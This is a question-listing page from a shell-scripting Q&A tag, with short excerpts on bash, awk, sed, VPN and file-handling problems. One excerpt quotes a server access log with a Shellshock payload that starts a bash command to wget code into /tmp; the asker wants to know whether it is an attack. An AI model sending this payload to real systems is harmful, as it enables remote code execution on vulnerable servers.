A shell script is a script written for the shell, or command line interpreter, of an operating system.

learn more… | top users | synonyms (1)

0
votes
0answers
6 views

Staret managed server using Jenkins

I am trying to start web-logic managed server from Linux system. for that I have one shell script start_wls_managed4_btwnpmd01.sh with following code. ...
0
votes
0answers
7 views

using xdotool with acroread on Linux

I'm using Acrobat Reader (v9 for Linux) as an external viewer from an editor for a generated PDF file. Since the file is often regenerated, I programmed a function key in the editor to call a shell ...
0
votes
0answers
10 views

Close VPN connection opened with openvpn and openconnect

I connect to a Cisco AnyConnect VPN with a script that looks like the following. #!/usr/bin/env bash cleanup() { sudo ifconfig tun1 down sudo ip link delete tun1 sudo killall openconnect ...
3
votes
2answers
43 views

opening several terminals at once

In my dev environment, I sometimes need several terminals to be open, each running its own script/ a server (rails, django, redis, mongo, consoles, etc) How can I create some shortcut that will open ...
1
vote
1answer
29 views

shell script file (.sh) - dynamic command

I'm trying to build a dynamic command to execute in an .sh file, however, when I do it, it seems that somehow it adds \r characters so command is not correctly executed. Notice that I'm running this ...
0
votes
1answer
17 views

Launch a bash sub-shell and expect a command

From a shell script, how can I launch a bash sub-shell for the user & wait for the user to type exit at the bash sub-shell prompt? I tried bash -c expect -c 'expect "exit" {send "Exiting\n"}'; ...
1
vote
0answers
24 views

How can I mount NFS file in unix?

I am using Cent OS 5.6 and I have two VMs. I am trying to mount a file but unable to do so. Here's what I have done. Mkdir/uxadm Chmod 777 /uxadm vi /etc/exports /uxadm ...
1
vote
1answer
10 views

How can we configure paths for .cshrc

Within a shell script, i am trying to open a new tcsh shell and load some set of pre defined aliases and env variables which i do not want to have in default cshrc. I cannot have it in my home dir ...
0
votes
0answers
10 views

Don't interrupt script in sh (“try-finally” for sh scripts)

I'm trying to make a simple script to wrap a command in such a way that it runs with a swapped screen. The main target is top but I wanted it to be a general wrapper. I got it running fine with bash ...
1
vote
1answer
23 views

How to delete unwanted directory paths in zipped file?

Using bash on OS X 10.10 I'm zipping a folder and saving it elsewhere using this: _now=$(date +"%Y-%m-%d-%H-%M-%S") pushd /Users/me/Documents/local-backups/writing zip -r ...
0
votes
1answer
15 views

i need to pass a string of an output file to a variable so as i can use it globally all over my script [closed]

sample output RETENTION_INTERVAL ------------------ 10080 I need to pass the numeric value "10080" from the output file to a variable .The condition should validate value and ...
0
votes
0answers
19 views

Bash script monitor file modification after its closed

It has already been asked here and I have found the solution for the first part of my question. So for the moment I have a bash script (script1) where I evaluate the sha1sum of a specific file ...
0
votes
0answers
18 views

Delete messages in Gmail “All”, “Incoming” or “Sent” folder

I use one Gmail account only for mail relaying from my home server to different accounts, to multiple users. The problem is that there are some thousands of emails on this account in the "Sent" and ...
0
votes
2answers
19 views

Output redirection at the beginning of line

I'm used to specify output redirection on the end of the line like: echo blah > output.txt Both in Windows and *nix. Recently I'm seeing more and more examples that redirect at the beginning of ...
1
vote
1answer
19 views

Is there an event fired right after a command finishes executing?

In Bash, after you type in a command (e.g., ls), it will execute the command, which will write its standard output (if not redirected) to the terminal (in our example, the content of the current ...
1
vote
1answer
27 views

Issues using scp to copy a file in Unix

I have a script where i need to get the cksum of the files in a directory from another host. I was able to do ssh to another host and create the file.txt. what i need to do now is to scp the file ...
0
votes
0answers
6 views

Calculating difference between file sizes in the Unix command line [duplicate]

Want ask question about file sizes. I have same filename but different date. How I can display different of file sizes between 2 files? For example: filename_todaydate.txt: 417kb ...
1
vote
1answer
34 views

Executing PHP file from command line with dynamic parameters

I need to run one script which will take one date as an argument. It is configured using cron to run on a daily basis, but I need to run it for a time range now. The issue is that this will fetch all ...
0
votes
0answers
17 views

how to give username/pass with openvpn shell-script

I'd like to write a little script to connect to an openvpn server from an ubuntu desktop machine. The password for the server changes regularly, so it is not in the config file in /etc/openvpn. I can ...
2
votes
1answer
31 views

unix - sort content of two folders then compare using diff command

How do I sort contents of two different folders before comparing those two directories using diff?
1
vote
1answer
31 views

Proper syntax for escaping a `$` in a regex in a bash shell script/makefile?

I'm running a Makefile which includes the following line... find ./ -type f -regextype emacs -regex ".*tests$" | xargs rm -f and am getting an error: find ./ -type f -regextype emacs -regex ...
0
votes
1answer
31 views

OS X: Redirect error output of command to environment variable

I know that I can redirect the stdout to an environment variable, e.g. retcode=$(/usr/bin/osascript -e 'do shell script ... with administrator privileges') but how do redirect the stderr output to ...
1
vote
1answer
24 views

Evaluating false in bash with multiple commands without a subshell

Bash evaluates the logical operators such that && always takes precedence. So for example: false || echo 1 && echo 2 1 2 and true || echo 1 && echo 2 2 Ok. So lets say I ...
-4
votes
1answer
38 views

Shell script for going through files and deleting or compressing them

List, one at a time, all files larger than 100K in the /home/username directory tree. Give the user the option to delete or compress the file, then proceed to show the next one. Write to a logfile ...
0
votes
1answer
47 views

Awk script to run a command based on condition using 'if'

I have a piece of code here that basically takes a file called 'srcip' (which is just a list of IP addresses) and compares it to my '~/db' file which is just a tab delimited IP HOSTNAME database of ...
1
vote
1answer
43 views

Split very long line of words into separate lines of max length

I have a script that outputs a list of packages on a single long line separated by spaces. The information included in this line shall be inserted into a text file which is later presented to a user. ...
2
votes
2answers
46 views

Grep in newest file

I'm trying to find a specific line from the newest file I have in subfolders. Files have the same name. So structure is like: Folder SubFolder1 filename.xml SubFolder2 filename.xml I'm ...
0
votes
1answer
82 views

What is the difference between set, env, declare and export when setting a variable in Linux shell?

What is the difference between set, env, declare and export when setting a variable in Linux shell, like Bash?
0
votes
0answers
44 views

Why variables in shell are not inherited by sub-shell now that the sub-shell is implemented by fork?

When running shell command in shell scripts, a sub shell process is generated. Doesn't the process is generated by fork function? Why the variables that are not exported are not inherited? In fork, ...
1
vote
1answer
26 views

Get a range of lines from a file and replace a line in that range using awk or sed or both

I would like to replace a line in a section of the smb.conf file using either awk or sed or both if need be. Here's the section in the file... [CMI] oplocks = no wide links = no writeable ...
22
votes
3answers
4k views

Is this an attack or something to be concerned about? Shellshock?

Saw this in the access.log on my test server : > 173.45.100.18 - - [26/Sep/2014:07:09:53 +0200] "GET /cgi-bin/hi HTTP/1.0" 404 490 "-" "() { :;}; /bin/bash -c \"cd /tmp;wget > ...
0
votes
1answer
38 views

Remove beginnings of email addresses from text using grep or sed

I have a text file with lines like the following: John Stevenson Johnnyboy34 john.stevenson@company.com 0320423\n Mike Anderson AndersMike mike@mikeltd.foo 0234234 How do I remove the "text" ...
0
votes
1answer
46 views

word boundary in a awk command not working when printing a range of lines

I am attempting to parse samba .conf file for a specific share section... [CMI] oplocks = no wide links = no writeable = yes delete readonly = yes path = /LOCALSITE/CMI ...
0
votes
1answer
26 views

How can I automate this task in Notepad++

I've a text file with around 200+ table names. Sample like this T_BCPCOMITEE_EA4 T_BCPEMERSIT_EA4 T_BCPROLE_EA4 T_BDR_AG_EA4 T_BDR_CRITERIA_EA4 I need to take the table name and add a select ...
0
votes
1answer
48 views

How to use the awk to print the output

This command nstats gives me output like below. How can I use awk or grep to give me the uptime with only days on it? I cannot use the "" to get the output. HOSTNAME LOAD MEMORY SWAP PROCS ...
2
votes
1answer
61 views

How to view two dialog boxes on the linux console, running on the same time?

I want to view on the Linux console two dialog windows on the same time. I want a window that views the progress BAR, and the a second tailbox that view the logs are running. The problem is that the ...
0
votes
1answer
23 views

why following script is failing?

#!/bin/sh declare -a LIST= ('a' 'b' 'c' ) is failing on Ubuntu on which /bin/sh is softlink to /bin/dash How can I declare list which will be supportable on all kind of shell ?
2
votes
1answer
197 views

Timer running under bash script in dialog window

The following bash script is an example on how to use the dialog command. This script runs a progress bar (and displays the process upgrade). What is missing in the dialog is a time clock - that ...
0
votes
2answers
53 views

How do I concatenate strings from a list in a bash script?

As an example: List="A B C D" for I in $List do OUT=$OUT" -$I" done When I run this the result is: " -A -B -C -D" but want it to be: "-A -B -C -D" How do I concatenate without the ...
0
votes
1answer
15 views

Autostarting a script at boot doesn't recognize the function “function”

I'm trying to get a script containing a function to run just after root autologin on TinyCore 5.3. The script works fine if I launch it from the prompt after login like this ./script.sh But when I add ...
0
votes
1answer
93 views

OS X shell script to connect to a kown wifi AP without explicitly using a password

As the title says, I'm trying to write a shell script that begins by connecting to a specific SSID (one that I've connected to before, a preferred network). The only way I can seem to do this via ...
0
votes
3answers
48 views

How to find length of string in shell

i need to calculate it using pure sh shell only. What happening is /bin/sh is actually a soft link to bash or other shell.Hence ${#STRING} gives length of string as it is advance bash feature. Can ...
0
votes
1answer
21 views

Insert AppleScript variables without comma seperating them from text

I need to run a shell script in an applescript like this set key_status to (do shell script "defaults read " & path_to_plist & " PlistKey") But unix gives an error because this script seems ...
0
votes
1answer
53 views

How to determine if a screen is running jobs without attaching to it?

I wrote a zsh script that launches many screen sessions and runs a different command in each of them. When the script is executed there are 72 screens in total, so checking if a job is finished or not ...
0
votes
1answer
119 views

Curl can't follow “This page should automatically redirect”

I'm attempting to automate a login for the a course webpage I have to check this semester. I know that the POST request I am making is being done correctly because I get to the intermediate redirect ...
-1
votes
1answer
41 views

Creating a shell script to compress files using Cygwin [closed]

I've got a minor project wherein I'm to create a few shell scripts in Windows and run them through Cygwin for Linux files. At least that's how it was described to me. Any suggestions would be great.
0
votes
0answers
63 views

ksh script using if break statements

I have a script file that has the server details like set -A SERVERGRPS SERVERS_CA SERVERS_NY set -A CA ca126 ca546 ca 642 set -A NY ny112 ny113 ny114 now I have to write a another script which ...
0
votes
1answer
31 views

Linux bash iterating and Break

I have two server groups SERVERS_CA AND SERVERS_NY. I will have a array something like SERVERGROUP=(CA NY) CA and NY will have set of servers in arrays like CA=(ca126 ca546 ca 642) NY=(ny112 ny113 ...
0
votes
1answer
101 views

Monitor process start time, end time using shell script

I am working on project in which we execute shell script which invokes the Node process and further processing happens. I want to design a script which should log the start time, termination time of ...
0
votes
0answers
18 views

Can I Query a Pdf Reader If It's On The Last Page?

I'm writing a wrapper shell-script to do the following: Searches a directory for .pdf/.djv files. makes an ordered "playlist" of files Opens 1st file in a pdf reader. Automatically change to the ...